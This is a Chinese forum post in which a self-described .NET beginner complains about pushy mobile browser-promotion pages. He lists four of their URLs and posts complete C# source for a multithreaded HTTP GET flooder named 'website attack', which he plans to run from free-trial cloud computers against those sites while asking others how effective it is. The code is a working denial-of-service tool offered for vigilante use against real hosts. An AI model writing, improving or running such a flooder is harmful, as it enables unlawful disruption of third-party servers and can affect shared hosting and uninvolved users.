好友
阅读权限10
听众
最后登录1970-1-1
|
对于某狗浏览器的流氓推广,我已经忍无可忍,比2345还流氓
浏览网页好好的,直接跳出这样的界面,无法返回,只能重启浏览器
本人遇到的不是一次两次了,有些还会出现恐吓界面,甚至手机一直震动
注意网站底部的小字:
用手机才会出现流氓推广界面,电脑访问有些直接跳转到百度
示例网站:
https://m.jinsqq.com/safe/v3/index.html?5921587885452&pkg=25#
https://a-llq.whbmy.com/safe/v5/indexfq.html?3651590592374&pkg=31#18
https://m-browser.octcoder.com/safe/v5/indexfq.html?1821590472301&pkg=34#2
https://bbd.nlztphv.cn/2019llq_5/p3066z.html?20200505235955&t=1964462581&f=1&i=1
作为一名.net初学者,我想到了一种类似攻击的方法:
使用多线程while(true)频繁get请求,每秒钟最快可达上百次
[C#] 纯文本查看 复制代码 using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Threading;
namespace 网站攻击
{
class Program
{
private static ulong count = 0;
static void Main(string[] args)
{
string[] urls = File.ReadAllLines("urls.txt",Encoding.Default);
Console.WriteLine("共有{0}个url\n请输入线程数:",urls.Length);
int threadCount = int.Parse(Console.ReadLine());
Thread timer = new Thread(Timer);
timer.Start();
for (int i = 1; i <= threadCount;i++ )
{
Thread t = new Thread(Attack);
t.Start(urls);
}
}
private static void Timer()
{
while (true)
{
ulong before = count;
Thread.Sleep(1000);
ulong cnts = count - before;
Console.Title = string.Format("{0}/sec",cnts);
}
}
private static void Attack(object sender)
{
string[] urls = (string[])sender;
while (true)
{
foreach (string i in urls)
{
Get(i);
Console.WriteLine(count);
}
}
}
/// <summary>
/// Get请求
/// </summary>
/// <returns>返回是否成功</returns>
public static bool Get(string url)
{
HttpWebRequest request;
try
{
request = (HttpWebRequest)WebRequest.Create(url);
request.UserAgent = @"Mozilla/5.0 (Linux; Android 9; JKM-AL00b Build/HUAWEIJKM-AL00b; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36";
request.KeepAlive = true;
request.ProtocolVersion = HttpVersion.Version11;
request.Timeout = 20000;
ServicePointManager.Expect100Continue = false;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream responseStream = response.GetResponseStream();
StreamReader sr = new StreamReader(responseStream,Encoding.UTF8);
// sr.ReadToEnd();
responseStream.Close();
sr.Close();
count++;
return true;
}
catch (Exception)
{
return false;
}
finally { GC.Collect(); }
}
}
}
最近本人注册免费试用了几家云电脑,准备盘它!
请问这种方法效果如何?对客户端有影响吗?
有什么经验可以在评论区给出
大家遇到的类似的推广网页也可以在评论区列举出来. |
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|